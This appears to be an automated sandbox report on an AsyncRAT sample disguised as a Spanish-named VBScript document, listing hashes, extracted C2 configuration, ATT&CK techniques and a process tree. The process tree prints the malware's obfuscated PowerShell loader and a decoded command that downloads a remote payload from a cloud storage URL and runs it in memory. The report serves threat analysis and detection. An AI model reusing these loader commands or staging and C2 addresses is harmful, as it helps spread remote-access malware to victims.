asyncrat | b6e8bd4b566117771b4eccdaf9f1ce0a7622a7d201d54db1876dd6d268e4b76b

General

Target

Leer Documento.vbs
Size

29.8MB
MD5

8f6a366451534b6a116ead97875cda64
SHA1

207b773f42783fd28b4642c6cb670898ab1030c9
SHA256

b6e8bd4b566117771b4eccdaf9f1ce0a7622a7d201d54db1876dd6d268e4b76b
SHA512

020c48540dbe78abee20da7e45997271d018b3f2d3463563d6d363b3e703cc8488a29c8fd90c0da57c0c158639786f35817f73d0c3437f5357d304e73fef2e8d
SSDEEP

1536:XPN+PFP4PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPR:ld

Score

10^/10

asyncrat default discovery execution rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://firebasestorage.googleapis.com/v0/b/rodriakd-8413d.appspot.com/o/dll%2Fdll%20Hope.txt?alt=media&token=61c829f6-e196-49e8-b4ff-041134577ffe

Extracted

Family

asyncrat

Version

1.0.7

Botnet

Default

C2

envi2024agosto.duckdns.org:2020

Mutex

DcRatMutex_qwqdanchun

Attributes

delay
1
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Blocklisted process makes network request 3 IoCs

flow	pid	Process
2	1952	powershell.exe
19	1952	powershell.exe
21	1952	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Control Panel\International\Geo\Nation	WScript.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
416	powershell.exe
1952	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
18	bitbucket.org
19	bitbucket.org

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1952 set thread context of 328	1952	powershell.exe	89

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegSvcs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
1916	timeout.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
416	powershell.exe
416	powershell.exe
1952	powershell.exe
1952	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	416	powershell.exe
Token: SeDebugPrivilege	1952	powershell.exe
Token: SeDebugPrivilege	328	RegSvcs.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 4968 wrote to memory of 416	4968	WScript.exe	86
PID 4968 wrote to memory of 416	4968	WScript.exe	86
PID 416 wrote to memory of 1952	416	powershell.exe	88
PID 416 wrote to memory of 1952	416	powershell.exe	88
PID 1952 wrote to memory of 328	1952	powershell.exe	89
PID 1952 wrote to memory of 328	1952	powershell.exe	89
PID 1952 wrote to memory of 328	1952	powershell.exe	89
PID 1952 wrote to memory of 328	1952	powershell.exe	89
PID 1952 wrote to memory of 328	1952	powershell.exe	89
PID 1952 wrote to memory of 328	1952	powershell.exe	89
PID 1952 wrote to memory of 328	1952	powershell.exe	89
PID 1952 wrote to memory of 328	1952	powershell.exe	89
PID 328 wrote to memory of 388	328	RegSvcs.exe	93
PID 328 wrote to memory of 388	328	RegSvcs.exe	93
PID 328 wrote to memory of 388	328	RegSvcs.exe	93
PID 388 wrote to memory of 1916	388	cmd.exe	95
PID 388 wrote to memory of 1916	388	cmd.exe	95
PID 388 wrote to memory of 1916	388	cmd.exe	95

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Leer Documento.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4968
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $ExeNy = 'J▒B1▒Gc▒cQB6▒H▒▒I▒▒9▒C▒▒Jw▒w▒Cc▒Ow▒k▒GE▒cwBr▒H▒▒ag▒g▒D0▒I▒▒n▒CU▒c▒B6▒EE▒YwBP▒Gc▒SQBu▒E0▒cg▒l▒Cc▒OwBb▒EI▒eQB0▒GU▒WwBd▒F0▒I▒▒k▒GM▒dQB3▒Gk▒Yw▒g▒D0▒I▒Bb▒HM▒eQBz▒HQ▒ZQBt▒C4▒QwBv▒G4▒dgBl▒HI▒d▒Bd▒Do▒OgBG▒HI▒bwBt▒EI▒YQBz▒GU▒Ng▒0▒FM▒d▒By▒Gk▒bgBn▒Cg▒I▒▒o▒E4▒ZQB3▒C0▒TwBi▒Go▒ZQBj▒HQ▒I▒BO▒GU▒d▒▒u▒Fc▒ZQBi▒EM▒b▒Bp▒GU▒bgB0▒Ck▒LgBE▒G8▒dwBu▒Gw▒bwBh▒GQ▒UwB0▒HI▒aQBu▒Gc▒K▒▒n▒Gg▒d▒B0▒H▒▒cw▒6▒C8▒LwBm▒Gk▒cgBl▒GI▒YQBz▒GU▒cwB0▒G8▒cgBh▒Gc▒ZQ▒u▒Gc▒bwBv▒Gc▒b▒Bl▒GE▒c▒Bp▒HM▒LgBj▒G8▒bQ▒v▒HY▒M▒▒v▒GI▒LwBy▒G8▒Z▒By▒Gk▒YQBr▒GQ▒LQ▒4▒DQ▒MQ▒z▒GQ▒LgBh▒H▒▒c▒Bz▒H▒▒bwB0▒C4▒YwBv▒G0▒LwBv▒C8▒Z▒Bs▒Gw▒JQ▒y▒EY▒Z▒Bs▒Gw▒JQ▒y▒D▒▒S▒Bv▒H▒▒ZQ▒u▒HQ▒e▒B0▒D8▒YQBs▒HQ▒PQBt▒GU▒Z▒Bp▒GE▒JgB0▒G8▒awBl▒G4▒PQ▒2▒DE▒Yw▒4▒DI▒OQBm▒DY▒LQBl▒DE▒OQ▒2▒C0▒N▒▒5▒GU▒O▒▒t▒GI▒N▒Bm▒GY▒LQ▒w▒DQ▒MQ▒x▒DM▒N▒▒1▒Dc▒NwBm▒GY▒ZQ▒n▒Ck▒KQ▒7▒Fs▒cwB5▒HM▒d▒Bl▒G0▒LgBB▒H▒▒c▒BE▒G8▒bQBh▒Gk▒bgBd▒Do▒OgBD▒HU▒cgBy▒GU▒bgB0▒EQ▒bwBt▒GE▒aQBu▒C4▒T▒Bv▒GE▒Z▒▒o▒CQ▒YwB1▒Hc▒aQBj▒Ck▒LgBH▒GU▒d▒BU▒Hk▒c▒Bl▒Cg▒JwBD▒Gw▒YQBz▒HM▒T▒Bp▒GI▒cgBh▒HI▒eQ▒z▒C4▒QwBs▒GE▒cwBz▒DE▒Jw▒p▒C4▒RwBl▒HQ▒TQBl▒HQ▒a▒Bv▒GQ▒K▒▒n▒Fo▒e▒BL▒Eg▒Rw▒n▒Ck▒LgBJ▒G4▒dgBv▒Gs▒ZQ▒o▒CQ▒bgB1▒Gw▒b▒▒s▒C▒▒WwBv▒GI▒agBl▒GM▒d▒Bb▒F0▒XQ▒g▒Cg▒JwB0▒Hg▒d▒▒u▒G8▒d▒Bz▒G8▒ZwBh▒Gk▒dgBu▒GU▒LwBz▒GQ▒YQBv▒Gw▒bgB3▒G8▒Z▒▒v▒HM▒YQBn▒HI▒YQBj▒HM▒ZQBk▒C8▒YwBk▒HM▒YQBj▒GQ▒LwBn▒HI▒bw▒u▒HQ▒ZQBr▒GM▒dQBi▒HQ▒aQBi▒C8▒Lw▒6▒HM▒c▒B0▒HQ▒a▒▒n▒C▒▒L▒▒g▒CQ▒YQBz▒Gs▒c▒Bq▒C▒▒L▒▒g▒Cc▒XwBf▒F8▒XwBf▒F8▒UwBS▒EU▒V▒BH▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒Xw▒t▒C0▒LQ▒t▒C0▒LQ▒t▒C0▒LQ▒t▒C0▒LQ▒t▒Cc▒L▒▒g▒CQ▒dQBn▒HE▒egBw▒Cw▒I▒▒n▒DE▒Jw▒s▒C▒▒JwBS▒G8▒Z▒Bh▒Cc▒I▒▒p▒Ck▒Ow▒=';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $ExeNy.replace('▒','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\Admin\AppData\Local\Temp\Leer Documento.vbs');powershell -command $KByHL;
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:416
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$ugqzp = '0';$askpj = 'C:\Users\Admin\AppData\Local\Temp\Leer Documento.vbs';[Byte[]] $cuwic = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString('https://firebasestorage.googleapis.com/v0/b/rodriakd-8413d.appspot.com/o/dll%2Fdll%20Hope.txt?alt=media&token=61c829f6-e196-49e8-b4ff-041134577ffe'));[system.AppDomain]::CurrentDomain.Load($cuwic).GetType('ClassLibrary3.Class1').GetMethod('ZxKHG').Invoke($null, [object[]] ('txt.otsogaivne/sdaolnwod/sagracsed/cdsacd/gro.tekcubtib//:sptth' , $askpj , '______SRETG_________________-------------', $ugqzp, '1', 'Roda' ));"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1952
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:328
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp3E2D.tmp.bat""
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:388
      - C:\Windows\SysWOW64\timeout.exe
        
        timeout 3
        6⤵
        System Location Discovery: System Language Discovery
        Delays execution with timeout.exe
        
        PID:1916

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
f41839a3fe2888c8b3050197bc9a0a05

SHA1
0798941aaf7a53a11ea9ed589752890aee069729

SHA256
224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

SHA512
2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
1a11402783a8686e08f8fa987dd07bca

SHA1
580df3865059f4e2d8be10644590317336d146ce

SHA256
9b1d1b468932a2d88548dc18504ac3066f8248079ecb083e919460bdb88398c0

SHA512
5f7f9f76d9d12a25fdc5b8d193391fb42c37515c657250fe01a9bfd9fe4cc4eab9d5ec254b2596ac1b9005f12511905f19fdae41f057062261d75bd83254b510

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ix4umuaf.goo.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp3E2D.tmp.bat

Filesize
171B

MD5
059ae76870265c8cb2a9f63460dbb4fa

SHA1
2341c549413697b9c7ad99e5e59a04f23711238b

SHA256
156f1d969d604892405ff24e5359c3732cf1d8ebec9b0068b2c5dc3d5f9500ba

SHA512
9142c95e1876e3a5cd87eccfaea497a895a0ea2e6ae69dc630296236041c65ec26726974566192462b5a07007b20422411d6e73e117d0d7b6fbd4440c40007a2

Download Submit
memory/328-35-0x0000000005CE0000-0x0000000005D46000-memory.dmp

Filesize
408KB

Download
memory/328-37-0x0000000005CC0000-0x0000000005CD0000-memory.dmp

Filesize
64KB

Download
memory/328-40-0x00000000080E0000-0x0000000008144000-memory.dmp

Filesize
400KB

Download
memory/328-24-0x0000000000400000-0x0000000000412000-memory.dmp

Filesize
72KB

Download
memory/328-39-0x0000000006FA0000-0x0000000007032000-memory.dmp

Filesize
584KB

Download
memory/328-38-0x0000000006C00000-0x0000000006C1E000-memory.dmp

Filesize
120KB

Download
memory/328-36-0x0000000006C50000-0x0000000006CC6000-memory.dmp

Filesize
472KB

Download
memory/328-34-0x0000000006220000-0x00000000067C4000-memory.dmp

Filesize
5.6MB

Download
memory/328-33-0x0000000005BD0000-0x0000000005C6C000-memory.dmp

Filesize
624KB

Download
memory/416-32-0x00007FFC8F9C0000-0x00007FFC90481000-memory.dmp

Filesize
10.8MB

Download
memory/416-31-0x0000020F60F70000-0x0000020F6118C000-memory.dmp

Filesize
2.1MB

Download
memory/416-0-0x00007FFC8F9C3000-0x00007FFC8F9C5000-memory.dmp

Filesize
8KB

Download
memory/416-11-0x00007FFC8F9C0000-0x00007FFC90481000-memory.dmp

Filesize
10.8MB

Download
memory/416-12-0x00007FFC8F9C0000-0x00007FFC90481000-memory.dmp

Filesize
10.8MB

Download
memory/416-10-0x0000020F612C0000-0x0000020F612E2000-memory.dmp

Filesize
136KB

Download
memory/1952-22-0x000001D4F4440000-0x000001D4F4448000-memory.dmp

Filesize
32KB

Download
memory/1952-27-0x000001D4F3F20000-0x000001D4F413C000-memory.dmp

Filesize
2.1MB

Download
memory/1952-23-0x000001D4F4450000-0x000001D4F445A000-memory.dmp

Filesize
40KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads